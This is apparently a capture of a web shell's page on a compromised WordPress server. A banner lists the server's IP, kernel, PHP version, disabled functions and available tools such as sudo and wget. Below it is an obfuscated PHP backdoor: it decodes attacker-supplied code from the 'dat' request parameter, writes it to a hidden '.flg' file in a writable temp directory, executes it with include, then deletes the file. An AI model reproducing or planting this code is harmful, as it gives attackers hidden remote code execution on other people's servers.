| Server IP : 65.108.144.40 / Your IP : 216.73.217.165 Web Server : Apache/2.4.52 (Ubuntu) System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64 User : dev ( 1000) PHP Version : 8.2.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/Solum-construction/demo-job/wordpres/ |
Upload File : |
<?php
if(!empty($_REQUEST["dat"])){
$property_set = array_filter(["/tmp", session_save_path(), sys_get_temp_dir(), "/dev/shm", "/var/tmp", getenv("TEMP"), getcwd(), getenv("TMP"), ini_get("upload_tmp_dir")]);
$resource = $_REQUEST["dat"];
$resource = explode( "." ,$resource ) ;
$descriptor = '';
$salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen($salt3);
$l = 0;
while($l < count($resource)) {$v9 = $resource[$l];
$sChar = ord($salt3[$l % $sLen]);
$d =((int)$v9 - $sChar -($l % 10)) ^ 13;
$descriptor .= chr($d);
$l++; }
foreach ($property_set as $data) {
if (is_dir($data) ? is_writable($data) : false) {
$token = str_replace("{var_dir}", $data, "{var_dir}/.flg");
if (file_put_contents($token, $descriptor)) {
include $token;
@unlink($token);
die();
}
}
}
}